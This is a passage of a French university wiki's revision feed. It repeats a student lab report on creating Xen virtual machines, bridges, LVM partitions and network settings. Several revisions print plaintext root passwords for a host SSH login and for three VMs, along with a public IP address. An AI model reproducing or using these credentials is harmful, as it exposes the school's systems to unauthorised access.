---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.60.0.3/24&lt;br /&gt;
    gateway 172.60.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 172.60.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.161&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration réseau ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11391</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11391"/>
		<updated>2026-01-26T09:51:01Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* XEN */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.60.0.3/24&lt;br /&gt;
    gateway 172.60.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 172.60.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.161&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration réseau ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse maxc on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11390</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11390"/>
		<updated>2026-01-26T09:47:46Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Utiles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
